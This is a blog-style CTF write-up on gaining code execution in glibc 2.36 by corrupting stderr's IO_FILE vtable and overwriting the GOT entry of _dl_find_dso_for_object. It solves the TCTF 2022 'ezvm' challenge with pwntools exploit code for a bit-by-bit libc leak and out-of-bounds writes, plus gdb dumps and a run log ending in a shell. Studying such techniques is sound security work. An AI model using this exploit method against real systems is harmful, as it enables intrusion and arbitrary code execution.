Logo xia0o0o0o

Code Execution by Faking IO_FILE->vtable in GLIBC 2.36 [0x1]

September 30, 2022
6 min read
Table of Contents

Code Execution by Faking IO_FILE->vtable in GLIBC 2.36 [0x1]

In the first part, I showed a new method to completely control the vtable of IO_FILE. In this chapter I would like to present a much more stable way to gain arbitrary code execution and use this way to solve a CTF challenge.

invalid vtable

In first chapter we focus on bypassing the checking in _IO_vtable_check.

void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
  /* Honor the compatibility flag.  */
  void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (flag);
#endif
  if (flag == &_IO_vtable_check)
    return;
 
  /* In case this libc copy is in a non-default namespace, we always
     need to accept foreign vtables because there is always a
     possibility that FILE * objects are passed across the linking
     boundary.  */
  {
    Dl_info di;
    struct link_map *l;
    if (!rtld_active ()
        || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
            && l->l_ns != LM_ID_BASE))
      return;
  }
 
#else /* !SHARED */
  /* We cannot perform vtable validation in the static dlopen case
     because FILE * handles might be passed back and forth across the
     boundary.  Therefore, we disable checking in this case.  */
  if (__dlopen != NULL)
    return;
#endif
 
  __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

When flag != &_IO_IO_vtable_check and rtld_active() != 0, it will finally invoke _dl_addr()

 
int
_dl_addr (const void *address, Dl_info *info,
	  struct link_map **mapp, const ElfW(Sym) **symbolp)
{
  const ElfW(Addr) addr = DL_LOOKUP_ADDRESS (address);
  int result = 0;
 
  /* Protect against concurrent loads and unloads.  */
  __rtld_lock_lock_recursive (GL(dl_load_lock));
 
  struct link_map *l = _dl_find_dso_for_object (addr);
 
  if (l)
    {
      determine_info (addr, l, info, mapp, symbolp);
      result = 1;
    }
 
  __rtld_lock_unlock_recursive (GL(dl_load_lock));
 
  return result;
}

Notice that it will call _dl_find_dso_for_object(). From the assembly code we can find that the address of this function is in ld and it is dynamically resolved which means if we are able to override the .GOT table of it we can jump to anywhere we want! And yes, we don’t need to bruteforce ld’s address with this method.

TCTF 2022 ezvm

Here I will demonstrate how to use this arbitrary code execution method to solve this CTF challenge. I will focus on code execution part since there are plenty of writeups with different ways of heap grooming and libc leaking I will only briefly cover these parts.

p.sendlineafter(b'Welcome', b'aaa')
p.sendlineafter(b'code size:', b'100')
p.sendlineafter(b'memory count', tob(0x100))
p.sendlineafter(b'code:\n', p8(0x17))

with a simple heap grooming we can have a libc address at memory[0], then we leak the address bit by bit.

leak = 0
for i in range(0, 64):
    code =  read_mem(0, 0)      # load memory[0] to register[0]
    code += push(0)             # push register[0]
    code += read_imm(1, 1<<i)   # load mask to register[0]
    code += push(1)             # push register[0]
    code += stk_and             # logical and stack[top] stack[top-1] and push the result
    code += jmp(1)              # jump to illegal if 1
    code += p8(0xff)+p8(0x17)   # 0xff(illegal) and exit 0x17
    p.sendlineafter(b'code size:\n', tob(len(code)))
    p.sendlineafter(b'memory count:', tob(0x100))
    p.sendlineafter(b'code:', code)
    recv_data = p.recvuntil(b'finish')
    if b'what' in recv_data:    # illegal instruction
        leak |= (1<<i)
        log.info("leak data: "+hex(leak))

Now we have libc address, so that we are able to calculate one gadget from it. Then using the OOB bug and allocate using mmap by setting a size that is big enough.

# allocate memory with mmap, and exploit the OOB bug
p.sendlineafter(b'code size:', b'500')
p.sendlineafter(b'memory count', tob(0x6000000000200000)) 
 
log.info('writing to stderr')
code =  read_imm(0, libc.address+0xebcf8)     # one_gadget
code += store_mem(0, 0x24340f*8)              # offset of GOT
code += read_imm(0, 0x41414141)               # vtable, any value not in vtable segment
code += store_mem(0, 0x121b768)               # write to stderr->vtable
code += read_imm(0, 0x1122334455667788)       # anything
for i in range(0, 0x15):                      # override fields in stderr
    code += store_mem(0, 0x121b698+i*8)
code += read_imm(0, 0)  
code += store_mem(0, 0x121b690)               # stderr->flag
code += read_imm(0, 0xaabbccdd55667788)       # stderr->write_ptr
code += store_mem(0, 0x121b6b8)               # write to stderr->write_ptr

after that we can notice the vtable is already overrided by AAAA

gef➤  x/32xg &_IO_2_1_stderr_
0x7fd1d021a6a0 <_IO_2_1_stderr_>:       0x0000000000000000      0x1122334455667788          
0x7fd1d021a6b0 <_IO_2_1_stderr_+16>:    0x1122334455667788      0x1122334455667788          
0x7fd1d021a6c0 <_IO_2_1_stderr_+32>:    0x1122334455667788      0xaabbccdd55667788          
0x7fd1d021a6d0 <_IO_2_1_stderr_+48>:    0x1122334455667788      0x1122334455667788          
0x7fd1d021a6e0 <_IO_2_1_stderr_+64>:    0x1122334455667788      0x1122334455667788
0x7fd1d021a6f0 <_IO_2_1_stderr_+80>:    0x1122334455667788      0x1122334455667788
0x7fd1d021a700 <_IO_2_1_stderr_+96>:    0x1122334455667788      0x1122334455667788
0x7fd1d021a710 <_IO_2_1_stderr_+112>:   0x1122334455667788      0x1122334455667788
0x7fd1d021a720 <_IO_2_1_stderr_+128>:   0x1122334455667788      0x1122334455667788
0x7fd1d021a730 <_IO_2_1_stderr_+144>:   0x1122334455667788      0x1122334455667788
0x7fd1d021a740 <_IO_2_1_stderr_+160>:   0x1122334455667788      0x1122334455667788
0x7fd1d021a750 <_IO_2_1_stderr_+176>:   0x0000000000000000      0x0000000000000000
0x7fd1d021a760 <_IO_2_1_stderr_+192>:   0x0000000000000000      0x0000000000000000
0x7fd1d021a770 <_IO_2_1_stderr_+208>:   0x0000000000000000      0x0000000041414141  <- any address here

and now the .GOT table of _dl_find_dso_for_object is our one gadget

0x7f3dbf819088 <[email protected]>:       0x00007f3dbf6ebcf8     0x00007f3dbf7b3430
gef➤  x/16i 0x00007f3dbf6ebcf8
   0x7f3dbf6ebcf8 <execvpe+1144>:       lea    rdi,[rip+0xec999]        # 0x7f3dbf7d8698                                                                        
   0x7f3dbf6ebcff <execvpe+1151>:       mov    QWORD PTR [rbp-0x78],r9
   0x7f3dbf6ebd03 <execvpe+1155>:       call   0x7f3dbf6eb0f0 <execve>
   0x7f3dbf6ebd08 <execvpe+1160>:       mov    rsp,QWORD PTR [rbp-0x78]
   0x7f3dbf6ebd0c <execvpe+1164>:       mov    eax,DWORD PTR fs:[r14]
   0x7f3dbf6ebd10 <execvpe+1168>:       jmp    0x7f3dbf6ebb82 <execvpe+770>
   0x7f3dbf6ebd15 <execvpe+1173>:       nop    DWORD PTR [rax]
   0x7f3dbf6ebd18 <execvpe+1176>:       mov    BYTE PTR [rbp-0x61],0x1
   0x7f3dbf6ebd1c <execvpe+1180>:       jmp    0x7f3dbf6ebb9d <execvpe+797>
   0x7f3dbf6ebd21 <execvpe+1185>:       mov    DWORD PTR fs:[rcx],0x7
   0x7f3dbf6ebd28 <execvpe+1192>:       mov    rsp,r15
   0x7f3dbf6ebd2b <execvpe+1195>:       jmp    0x7f3dbf6eb8e4 <execvpe+100>
   0x7f3dbf6ebd30 <execvpe+1200>:       lea    rdi,[r10+0x10]
   0x7f3dbf6ebd34 <execvpe+1204>:       lea    rsi,[rbx+0x8]
   0x7f3dbf6ebd38 <execvpe+1208>:       mov    rdx,r11
   0x7f3dbf6ebd3b <execvpe+1211>:       mov    QWORD PTR [rbp-0x80],r9
gef➤  

Then trigger IO operation by exiting the program.

┌──(kali㉿bad)-[~/Desktop/ctf/0ctf/ezvm]
└─$ python3 pwnvm3.py
[*] '/home/kali/Desktop/ctf/0ctf/ezvm/ezvm_p'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/kali/Desktop/ctf/0ctf/ezvm/libc-2.35.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process '/home/kali/Desktop/ctf/0ctf/ezvm/ezvm_p': pid 35561
[*] leak data: 0x20
[*] leak data: 0x60
[*] leak data: 0xe0
[*] leak data: 0x4e0
[*] leak data: 0xce0
[*] leak data: 0x1ce0
[*] leak data: 0x9ce0
[*] leak data: 0x19ce0
[*] leak data: 0x819ce0
[*] leak data: 0x1819ce0
[*] leak data: 0x3819ce0
[*] leak data: 0x7819ce0
[*] leak data: 0xf819ce0
[*] leak data: 0x1f819ce0
[*] leak data: 0x3f819ce0
[*] leak data: 0xbf819ce0
[*] leak data: 0x1bf819ce0
[*] leak data: 0x5bf819ce0
[*] leak data: 0xdbf819ce0
[*] leak data: 0x1dbf819ce0
[*] leak data: 0x3dbf819ce0
[*] leak data: 0x13dbf819ce0
[*] leak data: 0x33dbf819ce0
[*] leak data: 0x73dbf819ce0
[*] leak data: 0xf3dbf819ce0
[*] leak data: 0x1f3dbf819ce0
[*] leak data: 0x3f3dbf819ce0
[*] leak data: 0x7f3dbf819ce0
[+] leak: 0x7f3dbf819ce0
[+] libcbase: 0x7f3dbf600000
[*] writing to stderr
[*] Switching to interactive mode
 
finish!
continue?
$ a
Please input your code size:
$ a
Please input your memory count:
$ a
Please input your code:
Wrong length!
$ echo pwn
pwn
$  
 

Conclusion

With this method we can gain arbitrary code execution without constructing any complex structure but only two arbitrary writing and libc address leaking. One of the most obvious drawbacks(in my opinion) is that we almost can’t control any registers which are used to pass arguments, thus we can only jump to one gadget to get shell here.